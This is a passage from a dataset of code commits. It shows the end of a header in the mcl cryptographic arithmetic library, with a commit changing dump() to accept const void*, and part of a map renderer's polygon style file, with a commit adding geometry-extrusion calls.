set\n\t\tmemset(half, 0, sizeof(half));\n\t\tmemset(oneRep, 0, sizeof(oneRep));\n\t\tmemset(one, 0, sizeof(one));\n\t\tmemset(R2, 0, sizeof(R2));\n\t\tmemset(R3, 0, sizeof(R3));\n#ifdef MCL_USE_XBYAK\n\t\tinvTbl.clear();\n#endif\n\t\tfp_addA_ = 0;\n\t\tfp_subA_ = 0;\n\t\tfp_negA_ = 0;\n\t\tfp_mulA_ = 0;\n\t\tfp_sqrA_ = 0;\n\t\tfp2_addA_ = 0;\n\t\tfp2_subA_ = 0;\n\t\tfp2_negA_ = 0;\n\t\tfp2_mulA_ = 0;\n\t\tfp2_sqrA_ = 0;\n\t\tfpDbl_addA_ = 0;\n\t\tfpDbl_subA_ = 0;\n\t\tfpDbl_mulPreA_ = 0;\n\t\tfpDbl_sqrPreA_ = 0;\n\t\tfpDbl_modA_ = 0;\n\t\tfp2Dbl_mulPreA_ = 0;\n\t\tfp2Dbl_sqrPreA_ = 0;\n\t\tmaxN = 0;\n\t\tN = 0;\n\t\tbitSize = 0;\n\t\tfp_isZero = 0;\n\t\tfp_clear = 0;\n\t\tfp_copy = 0;\n\t\tfp_shr1 = 0;\n\t\tfp_neg = 0;\n\t\tfp_add = 0;\n\t\tfp_sub = 0;\n\t\tfp_mul = 0;\n\t\tfp_sqr = 0;\n\t\tfp_invOp = 0;\n\t\tfp_mulUnit = 0;\n\n\t\tfpDbl_mulPre = 0;\n\t\tfpDbl_sqrPre = 0;\n\t\tfp_preInv = 0;\n\t\tfp_mulUnitPre = 0;\n\t\tfpN1_mod = 0;\n\n\t\tfpDbl_add = 0;\n\t\tfpDbl_sub = 0;\n\t\tfpDbl_mod = 0;\n\n\t\tfp_addPre = 0;\n\t\tfp_subPre = 0;\n\t\tfpDbl_addPre = 0;\n\t\tfpDbl_subPre = 0;\n\n\t\txi_a = 0;\n\t\tfp2_mulNF = 0;\n\t\tfp2_inv = 0;\n\t\tfp2_mul_xiA_ = 0;\n\t\thash = 0;\n\n\t\tprimeMode = PM_GENERIC;\n\t\tisFullBit = false;\n\t\tisMont = false;\n\t\tisFastMod = false;\n\t}\n\tvoid fromMont(Unit* y, const Unit *x) const\n\t{\n\t\t\/*\n\t\t\tM(x, y) = xyR^-1\n\t\t\ty = M(x, 1) = xR^-1\n\t\t*\/\n\t\tfp_mul(y, x, one, p);\n\t}\n\tvoid toMont(Unit* y, const Unit *x) const\n\t{\n\t\t\/*\n\t\t\ty = M(x, R2) = xR^2 R^-1 = xR\n\t\t*\/\n\t\tfp_mul(y, x, R2, p);\n\t}\n\tbool init(const mpz_class& p, size_t maxBitSize, int xi_a, Mode mode, size_t mclMaxBitSize = MCL_MAX_BIT_SIZE);\n#ifdef MCL_USE_XBYAK\n\tstatic FpGenerator* createFpGenerator();\n\tstatic void destroyFpGenerator(FpGenerator *fg);\n#endif\nprivate:\n\tOp(const Op&);\n\tvoid operator=(const Op&);\n};\n\ninline const char* getIoSeparator(int ioMode)\n{\n\treturn (ioMode & (IoArray | IoArrayRaw | IoSerialize | IoSerializeHexStr)) ? \"\" : \" \";\n}\n\ninline void dump(const char *s, size_t n)\n{\n\tfor (size_t i = 0; i < n; i++) {\n\t\tprintf(\"%02x \", (uint8_t)s[i]);\n\t}\n\tprintf(\"\\n\");\n}\n\n#ifndef CYBOZU_DONT_USE_STRING\nint detectIoMode(int ioMode, const std::ios_base& ios);\n\ninline void dump(const std::string& s)\n{\n\tdump(s.c_str(), s.size());\n}\n#endif\n\n} } \/\/ mcl::fp\n<commit_msg>dump() accepts const void*<commit_after>#pragma once\n\/**\n\t@file\n\t@brief definition of Op\n\t@author MITSUNARI Shigeo(@herumi)\n\t@license modified new BSD license\n\thttp:\/\/opensource.org\/licenses\/BSD-3-Clause\n*\/\n#include <mcl\/gmp_util.hpp>\n#include <memory.h>\n#include <mcl\/array.hpp>\n\n#if defined(__EMSCRIPTEN__) || defined(__wasm__)\n\t#define MCL_DONT_USE_XBYAK\n\t#define MCL_DONT_USE_OPENSSL\n#endif\n#if !defined(MCL_DONT_USE_XBYAK) && (defined(_WIN64) || defined(__x86_64__)) && (MCL_SIZEOF_UNIT == 8)\n\t#define MCL_USE_XBYAK\n\t#define MCL_XBYAK_DIRECT_CALL\n#endif\n\n#define MCL_MAX_HASH_BIT_SIZE 512\n\nnamespace mcl {\n\nstatic const int version = 0x096; \/* 0xABC = A.BC *\/\n\n\/*\n\tspecifies available string format mode for X::setIoMode()\n\t\/\/ for Fp, Fp2, Fp6, Fp12\n\tdefault(0) : IoDec\n\tprintable string(zero terminated, variable size)\n\tIoBin(2) | IoDec(10) | IoHex(16) | IoBinPrefix | IoHexPrefix\n\n\tbyte string(not zero terminated, fixed size)\n\tIoArray | IoArrayRaw\n\tIoArray = IoSerialize\n\n\t\/\/ for Ec\n\taffine(0) | IoEcCompY | IoComp\n\tdefault : affine\n\n\taffine and IoEcCompY are available with ioMode for Fp\n\tIoSerialize ignores ioMode for Fp\n\n\tIoAuto\n\t\tdec or hex according to ios_base::fmtflags\n\tIoBin\n\t\tbinary number([01]+)\n\tIoDec\n\t\tdecimal number\n\tIoHex\n\t\thexadecimal number([0-9a-fA-F]+)\n\tIoBinPrefix\n\t\t0b + <binary number>\n\tIoHexPrefix\n\t\t0x + <hexadecimal number>\n\tIoArray\n\t\tarray of Unit(fixed size = Fp::getByteSize())\n\tIoArrayRaw\n\t\tarray of Unit(fixed size = Fp::getByteSize()) without Montgomery conversion\n\n\t\/\/ for Ec::setIoMode()\n\tIoEcAffine(default)\n\t\"0\" ; infinity\n\t\"1 <x> <y>\" ; affine coordinate\n\n\tIoEcProj\n\t\"4\" <x> <y> <z> ; projective or jacobi coordinate\n\n\tIoEcCompY\n\t\t1-bit y prepresentation of elliptic curve\n\t\t\"2 <x>\" ; compressed for even y\n\t\t\"3 <x>\" ; compressed for odd y\n\n\tIoSerialize\n\t\tif isMSBserialize(): \/\/ p is not full bit\n\t\t\tsize = Fp::getByteSize()\n\t\t\tuse MSB of array of x for 1-bit y for prime p where (p % 8 != 0)\n\t\t\t[0] ; infinity\n\t\t\t<x> ; for even y\n\t\t\t<x>|1 ; for odd y ; |1 means set MSB of x\n\t\telse:\n\t\t\tsize = Fp::getByteSize() + 1\n\t\t\t[0] ; infinity\n\t\t\t2 <x> ; for even y\n\t\t\t3 <x> ; for odd y\n*\/\nenum IoMode {\n\tIoAuto = 0, \/\/ dec or hex according to ios_base::fmtflags\n\tIoBin = 2, \/\/ binary number without prefix\n\tIoDec = 10, \/\/ decimal number without prefix\n\tIoHex = 16, \/\/ hexadecimal number without prefix\n\tIoArray = 32, \/\/ array of Unit(fixed size)\n\tIoArrayRaw = 64, \/\/ raw array of Unit without Montgomery conversion\n\tIoPrefix = 128, \/\/ append '0b'(bin) or '0x'(hex)\n\tIoBinPrefix = IoBin | IoPrefix,\n\tIoHexPrefix = IoHex | IoPrefix,\n\tIoEcAffine = 0, \/\/ affine coordinate\n\tIoEcCompY = 256, \/\/ 1-bit y representation of elliptic curve\n\tIoSerialize = 512, \/\/ use MBS for 1-bit y\n\tIoFixedSizeByteSeq = IoSerialize, \/\/ obsolete\n\tIoEcProj = 1024, \/\/ projective or jacobi coordinate\n\tIoSerializeHexStr = 2048 \/\/ printable hex string\n};\n\nnamespace fp {\n\nconst size_t UnitBitSize = sizeof(Unit) * 8;\n\nconst size_t maxUnitSize = (MCL_MAX_BIT_SIZE + UnitBitSize - 1) \/ UnitBitSize;\n#define MCL_MAX_UNIT_SIZE ((MCL_MAX_BIT_SIZE + MCL_UNIT_BIT_SIZE - 1) \/ MCL_UNIT_BIT_SIZE)\n\nstruct FpGenerator;\nstruct Op;\n\ntypedef void (*void1u)(Unit*);\ntypedef void (*void2u)(Unit*, const Unit*);\ntypedef void (*void2uI)(Unit*, const Unit*, Unit);\ntypedef void (*void2uIu)(Unit*, const Unit*, Unit, const Unit*);\ntypedef void (*void2uOp)(Unit*, const Unit*, const Op&);\ntypedef void (*void3u)(Unit*, const Unit*, const Unit*);\ntypedef void (*void4u)(Unit*, const Unit*, const Unit*, const Unit*);\ntypedef int (*int2u)(Unit*, const Unit*);\n\ntypedef Unit (*u1uII)(Unit*, Unit, Unit);\ntypedef Unit (*u3u)(Unit*, const Unit*, const Unit*);\n\n\/*\n\tdisable -Wcast-function-type\n\tthe number of arguments of some JIT functions is smaller than that of T\n*\/\ntemplate<class T, class S>\nT func_ptr_cast(S func)\n{\n\treturn reinterpret_cast<T>(reinterpret_cast<void*>(func));\n}\nstruct Block {\n\tconst Unit *p; \/\/ pointer to original FpT.v_\n\tsize_t n;\n\tUnit v_[maxUnitSize];\n};\n\nenum Mode {\n\tFP_AUTO,\n\tFP_GMP,\n\tFP_GMP_MONT,\n\tFP_LLVM,\n\tFP_LLVM_MONT,\n\tFP_XBYAK\n};\n\nenum PrimeMode {\n\tPM_GENERIC = 0,\n\tPM_NIST_P192,\n\tPM_SECP256K1,\n\tPM_NIST_P521\n};\n\nenum MaskMode {\n\tNoMask = 0, \/\/ throw if greater or equal\n\tSmallMask = 1, \/\/ 1-bit smaller mask if greater or equal\n\tMaskAndMod = 2, \/\/ mask and substract if greater or equal\n\tMod = 3 \/\/ mod p\n};\n\nstruct Op {\n\t\/*\n\t\tdon't change the layout of rp and p\n\t\tasm code assumes &rp + 1 == p\n\t*\/\n\tUnit rp;\n\tUnit p[maxUnitSize];\n\tmpz_class mp;\n\tuint32_t pmod4;\n\tmcl::SquareRoot sq;\n\tmcl::Modp modp;\n\tUnit half[maxUnitSize]; \/\/ (p + 1) \/ 2\n\tUnit oneRep[maxUnitSize]; \/\/ 1(=inv R if Montgomery)\n\t\/*\n\t\tfor Montgomery\n\t\tone = 1\n\t\tR = (1 << (N * sizeof(Unit) * 8)) % p\n\t\tR2 = (R * R) % p\n\t\tR3 = RR^3\n\t*\/\n\tUnit one[maxUnitSize];\n\tUnit R2[maxUnitSize];\n\tUnit R3[maxUnitSize];\n#ifdef MCL_USE_XBYAK\n\tFpGenerator *fg;\n\tmcl::Array<Unit> invTbl;\n#endif\n\tvoid3u fp_addA_;\n\tvoid3u fp_subA_;\n\tvoid2u fp_negA_;\n\tvoid3u fp_mulA_;\n\tvoid2u fp_sqrA_;\n\tvoid3u fp2_addA_;\n\tvoid3u fp2_subA_;\n\tvoid2u fp2_negA_;\n\tvoid3u fp2_mulA_;\n\tvoid2u fp2_sqrA_;\n\tvoid3u fpDbl_addA_;\n\tvoid3u fpDbl_subA_;\n\tvoid3u fpDbl_mulPreA_;\n\tvoid2u fpDbl_sqrPreA_;\n\tvoid2u fpDbl_modA_;\n\tvoid3u fp2Dbl_mulPreA_;\n\tvoid2u fp2Dbl_sqrPreA_;\n\tsize_t maxN;\n\tsize_t N;\n\tsize_t bitSize;\n\tbool (*fp_isZero)(const Unit*);\n\tvoid1u fp_clear;\n\tvoid2u fp_copy;\n\tvoid2u fp_shr1;\n\tvoid3u fp_neg;\n\tvoid4u fp_add;\n\tvoid4u fp_sub;\n\tvoid4u fp_mul;\n\tvoid3u fp_sqr;\n\tvoid2uOp fp_invOp;\n\tvoid2uIu fp_mulUnit; \/\/ fpN1_mod + fp_mulUnitPre\n\n\tvoid3u fpDbl_mulPre;\n\tvoid2u fpDbl_sqrPre;\n\tint2u fp_preInv;\n\tvoid2uI fp_mulUnitPre; \/\/ z[N + 1] = x[N] * y\n\tvoid3u fpN1_mod; \/\/ y[N] = x[N + 1] % p[N]\n\n\tvoid4u fpDbl_add;\n\tvoid4u fpDbl_sub;\n\tvoid3u fpDbl_mod;\n\n\tu3u fp_addPre; \/\/ without modulo p\n\tu3u fp_subPre; \/\/ without modulo p\n\tu3u fpDbl_addPre;\n\tu3u fpDbl_subPre;\n\t\/*\n\t\tfor Fp2 = F[u] \/ (u^2 + 1)\n\t\tx = a + bu\n\t*\/\n\tint xi_a; \/\/ xi = xi_a + u\n\tvoid4u fp2_mulNF;\n\tvoid2u fp2_inv;\n\tvoid2u fp2_mul_xiA_;\n\tuint32_t (*hash)(void *out, uint32_t maxOutSize, const void *msg, uint32_t msgSize);\n\n\tPrimeMode primeMode;\n\tbool isFullBit; \/\/ true if bitSize % uniSize == 0\n\tbool isMont; \/\/ true if use Montgomery\n\tbool isFastMod; \/\/ true if modulo is fast\n\n\tOp()\n\t{\n\t\tclear();\n\t}\n\t~Op()\n\t{\n#ifdef MCL_USE_XBYAK\n\t\tdestroyFpGenerator(fg);\n#endif\n\t}\n\tvoid clear()\n\t{\n\t\trp = 0;\n\t\tmemset(p, 0, sizeof(p));\n\t\tmp = 0;\n\t\tpmod4 = 0;\n\t\tsq.clear();\n\t\t\/\/ fg is not set\n\t\tmemset(half, 0, sizeof(half));\n\t\tmemset(oneRep, 0, sizeof(oneRep));\n\t\tmemset(one, 0, sizeof(one));\n\t\tmemset(R2, 0, sizeof(R2));\n\t\tmemset(R3, 0, sizeof(R3));\n#ifdef MCL_USE_XBYAK\n\t\tinvTbl.clear();\n#endif\n\t\tfp_addA_ = 0;\n\t\tfp_subA_ = 0;\n\t\tfp_negA_ = 0;\n\t\tfp_mulA_ = 0;\n\t\tfp_sqrA_ = 0;\n\t\tfp2_addA_ = 0;\n\t\tfp2_subA_ = 0;\n\t\tfp2_negA_ = 0;\n\t\tfp2_mulA_ = 0;\n\t\tfp2_sqrA_ = 0;\n\t\tfpDbl_addA_ = 0;\n\t\tfpDbl_subA_ = 0;\n\t\tfpDbl_mulPreA_ = 0;\n\t\tfpDbl_sqrPreA_ = 0;\n\t\tfpDbl_modA_ = 0;\n\t\tfp2Dbl_mulPreA_ = 0;\n\t\tfp2Dbl_sqrPreA_ = 0;\n\t\tmaxN = 0;\n\t\tN = 0;\n\t\tbitSize = 0;\n\t\tfp_isZero = 0;\n\t\tfp_clear = 0;\n\t\tfp_copy = 0;\n\t\tfp_shr1 = 0;\n\t\tfp_neg = 0;\n\t\tfp_add = 0;\n\t\tfp_sub = 0;\n\t\tfp_mul = 0;\n\t\tfp_sqr = 0;\n\t\tfp_invOp = 0;\n\t\tfp_mulUnit = 0;\n\n\t\tfpDbl_mulPre = 0;\n\t\tfpDbl_sqrPre = 0;\n\t\tfp_preInv = 0;\n\t\tfp_mulUnitPre = 0;\n\t\tfpN1_mod = 0;\n\n\t\tfpDbl_add = 0;\n\t\tfpDbl_sub = 0;\n\t\tfpDbl_mod = 0;\n\n\t\tfp_addPre = 0;\n\t\tfp_subPre = 0;\n\t\tfpDbl_addPre = 0;\n\t\tfpDbl_subPre = 0;\n\n\t\txi_a = 0;\n\t\tfp2_mulNF = 0;\n\t\tfp2_inv = 0;\n\t\tfp2_mul_xiA_ = 0;\n\t\thash = 0;\n\n\t\tprimeMode = PM_GENERIC;\n\t\tisFullBit = false;\n\t\tisMont = false;\n\t\tisFastMod = false;\n\t}\n\tvoid fromMont(Unit* y, const Unit *x) const\n\t{\n\t\t\/*\n\t\t\tM(x, y) = xyR^-1\n\t\t\ty = M(x, 1) = xR^-1\n\t\t*\/\n\t\tfp_mul(y, x, one, p);\n\t}\n\tvoid toMont(Unit* y, const Unit *x) const\n\t{\n\t\t\/*\n\t\t\ty = M(x, R2) = xR^2 R^-1 = xR\n\t\t*\/\n\t\tfp_mul(y, x, R2, p);\n\t}\n\tbool init(const mpz_class& p, size_t maxBitSize, int xi_a, Mode mode, size_t mclMaxBitSize = MCL_MAX_BIT_SIZE);\n#ifdef MCL_USE_XBYAK\n\tstatic FpGenerator* createFpGenerator();\n\tstatic void destroyFpGenerator(FpGenerator *fg);\n#endif\nprivate:\n\tOp(const Op&);\n\tvoid operator=(const Op&);\n};\n\ninline const char* getIoSeparator(int ioMode)\n{\n\treturn (ioMode & (IoArray | IoArrayRaw | IoSerialize | IoSerializeHexStr)) ? \"\" : \" \";\n}\n\ninline void dump(const void *buf, size_t n)\n{\n\tconst uint8_t *s = (const uint8_t *)buf;\n\tfor (size_t i = 0; i < n; i++) {\n\t\tprintf(\"%02x \", s[i]);\n\t}\n\tprintf(\"\\n\");\n}\n\n#ifndef CYBOZU_DONT_USE_STRING\nint detectIoMode(int ioMode, const std::ios_base& ios);\n\ninline void dump(const std::string& s)\n{\n\tdump(s.c_str(), s.size());\n}\n#endif\n\n} } \/\/ mcl::fp\n<|endoftext|>"}
{"text":"<commit_before>#include \"style.h\"\n#include \"platform.h\"\n#include \"util\/geometryHandler.h\"\n#include \"util\/jsonExtractor.h\"\n\n\/*\n * Style Class Methods\n *\/\n\nStyle::Style(std::string _geomType, std::string _styleName, GLenum _drawMode) : m_geomType(_geomType), m_styleName(_styleName), m_drawMode(_drawMode) {\n}\n\nvoid Style::setFragShaderSrc(std::string _fragShaderSrcStr) {\n    m_fragShaderSrcStr = std::move(_fragShaderSrcStr);\n}\n\nvoid Style::setVertShaderSrc(std::string _vertShaderSrcStr) {\n    m_vertShaderSrcStr = std::move(_vertShaderSrcStr);\n}\n\nvoid Style::updateLayers(std::vector<std::pair<std::string, GLuint>> _newLayers) {\n    for(auto& newLayer : _newLayers) {\n        if(m_layerColorMap.find(newLayer.first) == m_layerColorMap.end()) {\n            m_layerColorMap.emplace(std::make_pair(newLayer.first, newLayer.second));\n        }\n        else {\n            m_layerColorMap[newLayer.first] = newLayer.second;\n        }\n    }\n}\n\n\/*\n * Polygon Style Class Methods\n *\/\n\nPolygonStyle::PolygonStyle(std::string _geomType, std::string _styleName, GLenum _drawMode) : Style(_geomType, _styleName, _drawMode) {\n\n    \/\/ Pass in a fileName or a url to construct shader strings from\n    m_vertShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"uniform mat4 u_modelViewProj;\\n\"\n        \"attribute vec4 a_position;\\n\"\n        \"attribute vec4 a_color;\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main() {\\n\"\n        \"  v_color = a_color;\\n\"\n        \"  gl_Position = u_modelViewProj * a_position;\\n\"\n        \"}\\n\";\n\n    m_fragShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main(void) {\\n\"\n        \"  gl_FragColor = v_color;\\n\"\n        \"}\\n\";\n\n    constructVertexLayout();\n    constructShaderProgram();\n}\n\nPolygonStyle::PolygonStyle(std::string _geomType, GLenum _drawMode) : PolygonStyle(_geomType, _geomType, _drawMode) {}\n\nvoid PolygonStyle::constructVertexLayout() {\n    \/\/ fixed per style... this is basic position, normal color\n    m_vertexLayout = std::shared_ptr<VertexLayout>(new VertexLayout({\n        {\"a_position\", 3, GL_FLOAT, false, 0},\n        {\"a_normal\", 3, GL_FLOAT, false, 0},\n        {\"a_color\", 4, GL_UNSIGNED_BYTE, true, 0}\n    }));\n}\n\nvoid PolygonStyle::constructShaderProgram() {\n    m_shaderProgram = std::shared_ptr<ShaderProgram>(new ShaderProgram());\n    m_shaderProgram->buildFromSourceStrings(m_fragShaderSrcStr, m_vertShaderSrcStr);\n}\n\nvoid PolygonStyle::addData(const Json::Value& _jsonRoot, MapTile& _tile, const MapProjection& _mapProjection) {\n    \/\/ Create a vboMesh which will eventually contain all the data\n    std::unique_ptr<VboMesh> mesh(new VboMesh(m_vertexLayout, m_drawMode));\n\n    \/\/Extract Feature Properties\n    for(auto& layer : m_layerColorMap) {\n        Json::Value layerFeatures = _jsonRoot[layer.first.c_str()][\"features\"];\n        \/\/iterate through all features and check for respective geometry type\n        for(int i = 0; i < layerFeatures.size(); i++) {\n            if(m_geomType.compare(JsonExtractor::extractGeomType(layerFeatures[i])) == 0) {\n                std::vector<glm::vec3> extractedGeomCoords;\n                std::vector<int> polyRingSizes;\n                JsonExtractor::extractGeomCoords(extractedGeomCoords, polyRingSizes, layerFeatures[i], _tile.getOrigin(), _mapProjection);\n                GeometryHandler::buildPolygon(extractedGeomCoords, polyRingSizes, m_vertCoords, m_vertNormals, m_indices);\n                \/\/GeometryHandler::buildPolygonExtrusion(JsonExtractor::extractGeomCoords(layerFeatures, _tile.getOrigin(), _mapProjection), m_vertCoords, m_vertNormals, m_indices);\n                \/* fill style's m_vertices with vertCoord, vertNormal and color data *\/\n                fillVertexData(layer.second);\n            }\n            else {\n                continue;\n            }\n        }\n    }\n    if(m_vertices.size() == 0) {\n        \/\/Nothing to add to mesh, get rid of mesh\n        mesh.reset(nullptr);\n    }\n    else {\n        \/\/Add vertices to mesh\n        mesh->addVertices((GLbyte*)m_vertices.data(), (int)m_vertices.size());\n        mesh->addIndices(m_indices.data(), (int)m_indices.size());\n        \/\/1. addGeometry should take either take the name of the style or pointer to the style (this)\n        _tile.addGeometry(*this, std::move(mesh));\n    }\n}\n\nvoid PolygonStyle::fillVertexData(const GLuint& _abgr) {\n    for(int i = (int)m_vertices.size(); i < m_vertCoords.size(); i++) {\n        m_vertices.push_back( { m_vertCoords[i].x, m_vertCoords[i].y, m_vertCoords[i].z,\n                                m_vertNormals[i].x, m_vertNormals[i].y, m_vertNormals[i].z,\n                                _abgr\n                              });\n    }\n    return;\n}\n\nvoid PolygonStyle::clearStyleData() {\n    m_vertices.clear();\n    m_indices.clear();\n    m_vertCoords.clear();\n    m_vertNormals.clear();\n}\n\nvoid PolygonStyle::setup() {\n}\n\n\n\/*\n * MultiPolygon Style Class Methods\n *\/\n\nMultiPolygonStyle::MultiPolygonStyle(std::string _geomType, std::string _styleName, GLenum _drawMode) : Style(_geomType, _styleName, _drawMode) {\n\n    \/\/ Pass in a fileName or a url to construct shader strings from\n    m_vertShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"uniform mat4 u_modelViewProj;\\n\"\n        \"attribute vec4 a_position;\\n\"\n        \"attribute vec4 a_color;\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main() {\\n\"\n        \"  v_color = a_color;\\n\"\n        \"  gl_Position = u_modelViewProj * a_position;\\n\"\n        \"}\\n\";\n\n    m_fragShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main(void) {\\n\"\n        \"  gl_FragColor = v_color;\\n\"\n        \"}\\n\";\n\n    constructVertexLayout();\n    constructShaderProgram();\n}\n\nMultiPolygonStyle::MultiPolygonStyle(std::string _geomType, GLenum _drawMode) : MultiPolygonStyle(_geomType, _geomType, _drawMode) {}\n\nvoid MultiPolygonStyle::constructVertexLayout() {\n    \/\/ fixed per style... this is basic position, normal color\n    m_vertexLayout = std::shared_ptr<VertexLayout>(new VertexLayout({\n        {\"a_position\", 3, GL_FLOAT, false, 0},\n        {\"a_normal\", 3, GL_FLOAT, false, 0},\n        {\"a_color\", 4, GL_UNSIGNED_BYTE, true, 0}\n    }));\n}\n\nvoid MultiPolygonStyle::constructShaderProgram() {\n    m_shaderProgram = std::shared_ptr<ShaderProgram>(new ShaderProgram());\n    m_shaderProgram->buildFromSourceStrings(m_fragShaderSrcStr, m_vertShaderSrcStr);\n}\n\nvoid MultiPolygonStyle::addData(const Json::Value& _jsonRoot, MapTile& _tile, const MapProjection& _mapProjection) {\n    \/\/ Create a vboMesh which will eventually contain all the data\n    std::unique_ptr<VboMesh> mesh(new VboMesh(m_vertexLayout, m_drawMode));\n\n    \/\/Extract Feature Properties\n    for(auto& layer : m_layerColorMap) {\n        Json::Value layerFeatures = _jsonRoot[layer.first.c_str()][\"features\"];\n        \/\/iterate through all features and check for respective geometry type\n        for(int i = 0; i < layerFeatures.size(); i++) {\n            if(m_geomType.compare(JsonExtractor::extractGeomType(layerFeatures[i])) == 0) {\n                int numPolys = JsonExtractor::extractNumPoly(layerFeatures[i]);\n                std::vector<glm::vec3> extractedGeomCoords;\n                std::vector<int> polyRingSizes;\n                JsonExtractor::extractGeomCoords(extractedGeomCoords, polyRingSizes, layerFeatures[i], _tile.getOrigin(), _mapProjection, numPolys);\n                GeometryHandler::buildPolygon(extractedGeomCoords, polyRingSizes, m_vertCoords, m_vertNormals, m_indices);\n                \/\/GeometryHandler::buildPolygonExtrusion(JsonExtractor::extractGeomCoords(layerFeatures, _tile.getOrigin(), _mapProjection), m_vertCoords, m_vertNormals, m_indices);\n                \/* fill style's m_vertices with vertCoord, vertNormal and color data *\/\n                fillVertexData(layer.second);\n            }\n            else {\n                continue;\n            }\n        }\n    }\n    if(m_vertices.size() == 0) {\n        \/\/Nothing to add to mesh, get rid of mesh\n        mesh.reset(nullptr);\n    }\n    else {\n        \/\/Add vertices to mesh\n        mesh->addVertices((GLbyte*)m_vertices.data(), m_vertices.size());\n        mesh->addIndices((GLushort*)m_indices.data(), m_indices.size());\n        \/\/1. addGeometry should take either take the name of the style or pointer to the style (this)\n        _tile.addGeometry(*this, std::move(mesh));\n    }\n}\n\nvoid MultiPolygonStyle::fillVertexData(const GLuint& _abgr) {\n    for(int i = m_vertices.size(); i < m_vertCoords.size(); i++) {\n        m_vertices.push_back( { m_vertCoords[i].x, m_vertCoords[i].y, m_vertCoords[i].z,\n                                m_vertNormals[i].x, m_vertNormals[i].y, m_vertNormals[i].z,\n                                _abgr\n                              });\n    }\n    return;\n}\n\nvoid MultiPolygonStyle::clearStyleData() {\n    m_vertices.clear();\n    m_indices.clear();\n    m_vertCoords.clear();\n    m_vertNormals.clear();\n}\n\nvoid MultiPolygonStyle::setup() {\n}\n<commit_msg>added calls to geometry extrusion<commit_after>#include \"style.h\"\n#include \"platform.h\"\n#include \"util\/geometryHandler.h\"\n#include \"util\/jsonExtractor.h\"\n\n\/*\n * Style Class Methods\n *\/\n\nStyle::Style(std::string _geomType, std::string _styleName, GLenum _drawMode) : m_geomType(_geomType), m_styleName(_styleName), m_drawMode(_drawMode) {\n}\n\nvoid Style::setFragShaderSrc(std::string _fragShaderSrcStr) {\n    m_fragShaderSrcStr = std::move(_fragShaderSrcStr);\n}\n\nvoid Style::setVertShaderSrc(std::string _vertShaderSrcStr) {\n    m_vertShaderSrcStr = std::move(_vertShaderSrcStr);\n}\n\nvoid Style::updateLayers(std::vector<std::pair<std::string, GLuint>> _newLayers) {\n    for(auto& newLayer : _newLayers) {\n        if(m_layerColorMap.find(newLayer.first) == m_layerColorMap.end()) {\n            m_layerColorMap.emplace(std::make_pair(newLayer.first, newLayer.second));\n        }\n        else {\n            m_layerColorMap[newLayer.first] = newLayer.second;\n        }\n    }\n}\n\n\/*\n * Polygon Style Class Methods\n *\/\n\nPolygonStyle::PolygonStyle(std::string _geomType, std::string _styleName, GLenum _drawMode) : Style(_geomType, _styleName, _drawMode) {\n\n    \/\/ Pass in a fileName or a url to construct shader strings from\n    m_vertShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"uniform mat4 u_modelViewProj;\\n\"\n        \"attribute vec4 a_position;\\n\"\n        \"attribute vec4 a_color;\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main() {\\n\"\n        \"  v_color = a_color;\\n\"\n        \"  gl_Position = u_modelViewProj * a_position;\\n\"\n        \"}\\n\";\n\n    m_fragShaderSrcStr =\n        \"#ifdef GL_ES\\n\"\n        \"precision mediump float;\\n\"\n        \"#endif\\n\"\n        \"varying vec4 v_color;\\n\"\n        \"void main(void) {\\n\"\n        \"  gl_FragColor = v_color;\\n\"\n        \"}\\n\";\n\n    constructVertexLayout();\n    constructShaderProgram();\n}\n\nPolygonStyle::PolygonStyle(std::string _geomType, GLenum _drawMode) : PolygonStyle(_geomType, _geomType, _drawMode) {}\n\nvoid PolygonStyle::constructVertexLayout() {\n    \/\/ fixed per style... this is basic position, normal color\n    m_vertexLayout = std::shared_ptr<VertexLayout>(new VertexLayout({\n        {\"a_position\", 3, GL_FLOAT, false, 0},\n        {\"a_normal\", 3, GL_FLOAT, false, 0},\n        {\"a_color\", 4, GL_UNSIGNED_BYTE, true, 0}\n    }));\n}\n\nvoid PolygonStyle::constructShaderProgram() {\n    m_shaderProgram = std::shared_ptr<ShaderProgram>(new ShaderProgram());\n    m_shaderProgram->buildFromSourceStrings(m_fragShaderSrcStr, m_vertShaderSrcStr);\n}\n\nvoid PolygonStyle::addData(const Json::Value& _jsonRoot, MapTile& _tile, const MapProjection& _mapProjection) {\n    \/\/ Create a vboMesh which will eventually contain all the data\n    std::unique_ptr<VboMesh> mesh(new VboMesh(m_vertexLayout, m_drawMode));\n\n    \/\/Extract Feature Properties\n    for(auto& layer : m_layerColorMap) {\n        Json::Value layerFeatures = _jsonRoot[layer.first.c_str()][\"features\"];\n        \/\/iterate through all features and check for respective geometry type\n        for(int i = 0; i < layerFeatures.size(); i++) {\n            if(m_geomType.compare(JsonExtractor::extractGeomType(layerFeatures[i])) == 0) {\n                std::vector<glm::vec3> extractedGeomCoords;\n                std::vector<int> polyRingSizes;\n                float featureHeight = 0;\n                float minFeatureHeight = 0;\n                JsonExtractor::extractGeomCoords(extractedGeomCoords, polyRingSizes, layerFeatures[i], _tile.getOrigin(), _mapProjection);\n                GeometryHandler::buildPolygon(extractedGeomCoords, polyRingSizes, m_vertCoords, m_vertNormals, m_indices);\n\n                JsonExtractor::extractFeatureHeightProps(layerFeatures[i], featureHeight, minFeatureHeight);\n                if(featureHeight != minFeatureHeight) {\n                    GeometryHandler::buildPolygonExtrusion(extractedGeomCoords, polyRingSizes, minFeatureHeight, m_vertCoords, m_vertNormals, m_indices);\n                }\n                \/* fill style's m_vertices with vertCoord, vertNormal and color data *\/\n                fillVertexData(layer.second);\n            }\n            else {\n                continue;\n            }\n        }\n    }\n    if(m_vertices.size() == 0) {\n        \/\/Nothing to add to mesh, get rid of mesh\n        mesh.reset(nullptr);\n    }\n    else {\n        \/\/Add 